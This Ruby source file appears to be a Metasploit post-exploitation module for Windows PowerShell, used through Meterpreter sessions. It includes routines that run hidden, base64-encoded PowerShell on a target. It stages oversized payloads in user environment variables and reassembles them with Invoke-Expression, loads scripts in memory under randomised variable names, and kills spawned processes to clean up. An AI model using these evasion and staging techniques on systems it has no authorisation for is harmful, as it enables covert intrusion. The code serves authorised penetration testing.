370 lines
15 KiB
Ruby
370 lines
15 KiB
Ruby
# -*- coding: binary -*-
|
|
module Msf
|
|
class Post
|
|
module Windows
|
|
##
|
|
# Powershell exploitation routines
|
|
##
|
|
module Powershell
|
|
include ::Msf::Exploit::Powershell
|
|
include ::Msf::Post::Common
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_sysinfo
|
|
stdapi_sys_process_execute
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_kill
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('Powershell::Post::timeout',
|
|
[true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
|
|
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
|
|
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
|
|
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
#
|
|
# Returns true if powershell is installed
|
|
#
|
|
def have_powershell?
|
|
cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
|
|
end
|
|
|
|
#
|
|
# Returns the Powershell version
|
|
#
|
|
def get_powershell_version
|
|
return nil unless have_powershell?
|
|
|
|
process, _pid, _c = execute_script('$PSVersionTable.PSVersion')
|
|
|
|
o = ''
|
|
|
|
while (d = process.channel.read)
|
|
if d == ""
|
|
if (Time.now.to_i - start < time_out) && (o == '')
|
|
sleep 0.1
|
|
else
|
|
break
|
|
end
|
|
else
|
|
o << d
|
|
end
|
|
end
|
|
|
|
o.scan(/[\d \-]+/).last.split[0, 2] * '.'
|
|
end
|
|
|
|
#
|
|
# Get/compare list of current PS processes - nested execution can spawn many children
|
|
# doing checks before and after execution allows us to kill more children...
|
|
# This is a hack, better solutions are welcome since this could kill user
|
|
# spawned powershell windows created between comparisons.
|
|
#
|
|
def get_ps_pids(pids = [])
|
|
current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
|
|
# Subtract previously known pids
|
|
current_pids = (current_pids - pids).uniq
|
|
current_pids
|
|
end
|
|
|
|
#
|
|
# Execute a powershell script and return the output, channels, and pids. The script
|
|
# is never written to disk.
|
|
#
|
|
def execute_script(script, greedy_kill = false)
|
|
@session_pids ||= []
|
|
running_pids = greedy_kill ? get_ps_pids : []
|
|
open_channels = []
|
|
# Execute using -EncodedCommand
|
|
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
|
|
ps_bin = datastore['Powershell::Post::force_wow64'] ?
|
|
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
|
|
|
# Check to ensure base64 encoding - regex format and content length division
|
|
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
|
|
script = encode_script(script.to_s)
|
|
end
|
|
|
|
ps_string = "-EncodedCommand #{script} -InputFormat None"
|
|
vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}"
|
|
cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true })
|
|
|
|
# Subtract prior PIDs from current
|
|
if greedy_kill
|
|
Rex::ThreadSafe.sleep(3) # Let PS start child procs
|
|
running_pids = get_ps_pids(running_pids)
|
|
end
|
|
|
|
# Add to list of running processes
|
|
running_pids << cmd_out.pid
|
|
|
|
# All pids start here, so store them in a class variable
|
|
(@session_pids += running_pids).uniq!
|
|
|
|
# Add to list of open channels
|
|
open_channels << cmd_out
|
|
|
|
[cmd_out, running_pids.uniq, open_channels]
|
|
end
|
|
|
|
#
|
|
# Powershell scripts that are longer than 8000 bytes are split into 8000
|
|
# byte chunks and stored as CMD environment variables. A new powershell
|
|
# script is built that will reassemble the chunks and execute the script.
|
|
# Returns the reassembly script.
|
|
#
|
|
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
|
# Check to ensure script is encoded and compressed
|
|
if compressed_script =~ /\s|\.|\;/
|
|
compressed_script = compress_script(compressed_script)
|
|
end
|
|
|
|
# Divide the encoded script into 8000 byte chunks and iterate
|
|
index = 0
|
|
count = 8000
|
|
while index < compressed_script.size - 1
|
|
# Define random, but serialized variable name
|
|
env_variable = format("%05d%s", ((index + 8000) / 8000), env_suffix)
|
|
|
|
# Create chunk
|
|
chunk = compressed_script[index, count]
|
|
|
|
# Build the set commands
|
|
set_env_variable = "[Environment]::SetEnvironmentVariable(" \
|
|
"'#{env_variable}'," \
|
|
"'#{chunk}', 'User')"
|
|
|
|
# Compress and encode the set command
|
|
encoded_stager = encode_script(compress_script(set_env_variable))
|
|
|
|
# Stage the payload
|
|
print_good " - Bytes remaining: #{compressed_script.size - index}"
|
|
execute_script(encoded_stager, false)
|
|
|
|
index += count
|
|
end
|
|
|
|
# Build the script reassembler
|
|
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
|
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
|
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
|
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
|
|
|
# Compress and encode the reassemble command
|
|
encoded_script = encode_script(compress_script(reassemble_command))
|
|
|
|
encoded_script
|
|
end
|
|
|
|
#
|
|
# Uploads a script into a Powershell session via memory (Powershell session types only).
|
|
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
|
|
#
|
|
def stage_psh_env(script)
|
|
begin
|
|
ps_script = read_script(script)
|
|
encoded_expression = encode_script(ps_script)
|
|
cleanup_commands = []
|
|
# Add entropy to script variable names
|
|
script_var = ps_script.rig.generate(4)
|
|
decscript = ps_script.rig.generate(4)
|
|
scriptby = ps_script.rig.generate(4)
|
|
scriptbybase = ps_script.rig.generate(4)
|
|
scriptbybasefull = ps_script.rig.generate(4)
|
|
|
|
if encoded_expression.size > 14999
|
|
print_error "Script size: #{encoded_expression.size} This script requires a stager"
|
|
arr = encoded_expression.chars.each_slice(14999).map(&:join)
|
|
print_good "Loading #{arr.count} chunks into the stager."
|
|
vararray = []
|
|
arr.each_with_index do |slice, index|
|
|
variable = ps_script.rig.generate(5)
|
|
vararray << variable
|
|
indexval = index + 1
|
|
vprint_good "Loaded stage:#{indexval}"
|
|
session.shell_command("$#{variable} = \"#{slice}\"")
|
|
cleanup_commands << "Remove-Variable #{variable} -EA 0"
|
|
end
|
|
|
|
linkvars = ''
|
|
vararray.each { |var| linkvars << " + $#{var}" }
|
|
linkvars.slice!(0..2)
|
|
session.shell_command("$#{script_var} = #{linkvars}")
|
|
|
|
else
|
|
print_good "Script size: #{encoded_expression.size}"
|
|
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
|
|
end
|
|
|
|
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
|
|
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
|
|
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
|
|
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
|
|
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
|
|
print_good "Module loaded"
|
|
|
|
unless cleanup_commands.empty?
|
|
vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
|
|
session.shell_command(cleanup_commands.join(';').to_s)
|
|
end
|
|
rescue Errno::EISDIR => e
|
|
vprint_error "Unable to upload script: #{e.message}"
|
|
end
|
|
end
|
|
|
|
#
|
|
# Reads output of the command channel and empties the buffer.
|
|
# Will optionally log command output to disk.
|
|
#
|
|
def get_ps_output(cmd_out, eof, read_wait = 5)
|
|
results = ''
|
|
|
|
if datastore['Powershell::Post::log_output']
|
|
# Get target's computer name
|
|
computer_name = session.sys.config.sysinfo['Computer']
|
|
|
|
# Create unique log directory
|
|
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
|
|
::FileUtils.mkdir_p(log_dir)
|
|
|
|
# Define log filename
|
|
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
|
|
log_file = ::File.join(log_dir, "#{time_stamp}.txt")
|
|
|
|
# Open log file for writing
|
|
fd = ::File.new(log_file, 'w+')
|
|
end
|
|
|
|
# Read output until eof or nil return output and write to log
|
|
loop do
|
|
line = ::Timeout.timeout(read_wait) do
|
|
cmd_out.channel.read
|
|
end rescue nil
|
|
break if line.nil?
|
|
if line.sub!(/#{eof}/, '')
|
|
results << line
|
|
fd.write(line) if fd
|
|
break
|
|
end
|
|
results << line
|
|
fd.write(line) if fd
|
|
end
|
|
|
|
# Close log file
|
|
fd.close if fd
|
|
|
|
results
|
|
end
|
|
|
|
#
|
|
# Clean up powershell script including process and chunks stored in environment variables
|
|
#
|
|
def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
|
|
env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
|
|
# Remove environment variables
|
|
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
env_del_command += "Select-String #{env_suffix}|%{"
|
|
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
|
|
|
script = compress_script(env_del_command, eof)
|
|
cmd_out, new_running_pids, new_open_channels = execute_script(script)
|
|
get_ps_output(cmd_out, eof)
|
|
|
|
# Kill running processes, should mutex this...
|
|
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
|
|
(running_pids + new_running_pids).uniq.each do |pid|
|
|
begin
|
|
if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
|
|
session.sys.process.kill(pid)
|
|
end
|
|
@session_pids.delete(pid)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error "Failed to kill #{pid} due to #{e}"
|
|
end
|
|
end
|
|
|
|
# Close open channels
|
|
(open_channels + new_open_channels).uniq.each do |chan|
|
|
chan.channel.close
|
|
end
|
|
|
|
::File.delete(script_file) if script_file && delete
|
|
end
|
|
|
|
# Simple script execution wrapper, performs all steps
|
|
# required to execute a string of powershell.
|
|
# This method will try to kill all powershell.exe PIDs
|
|
# which appeared during its execution, set greedy_kill
|
|
# to false if this is not desired.
|
|
#
|
|
def psh_exec(script, greedy_kill = true, ps_cleanup = true)
|
|
# Define vars
|
|
eof = Rex::Text.rand_text_alpha(8)
|
|
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
|
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
|
start = Rex::Text.rand_text_alpha(8)
|
|
stop = Rex::Text.rand_text_alpha(8)
|
|
script = "echo #{start};" + script + "; echo #{stop}"
|
|
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
|
|
# Check to ensure base64 encoding - regex format and content length division
|
|
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
|
|
script = encode_script(compress_script(script.to_s, eof), eof)
|
|
end
|
|
|
|
if datastore['Powershell::Post::dry_run']
|
|
return "powershell -EncodedCommand #{script}"
|
|
else
|
|
# Check 8k cmd buffer limit, stage if needed
|
|
if script.size > 8100
|
|
vprint_error "Compressed size: #{script.size}"
|
|
error_msg = "Compressed size may cause command to exceed " \
|
|
"cmd.exe's 8kB character limit."
|
|
vprint_error error_msg
|
|
vprint_good 'Launching stager:'
|
|
script = stage_cmd_env(script, env_suffix)
|
|
print_good "Payload successfully staged."
|
|
else
|
|
print_good "Compressed size: #{script.size}"
|
|
end
|
|
|
|
vprint_good "Final command #{script}"
|
|
|
|
# Execute the script, get the output, and kill the resulting PIDs
|
|
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
|
|
if datastore['Powershell::Post::timeout'].to_i < 0
|
|
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
|
|
# print_error out
|
|
return out
|
|
end
|
|
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
|
|
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip #https://stackoverflow.com/a/9661504
|
|
# Kill off the resulting processes if needed
|
|
if ps_cleanup
|
|
vprint_good "Cleaning up #{running_pids.join(', ')}"
|
|
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
|
|
end
|
|
|
|
return ps_output
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|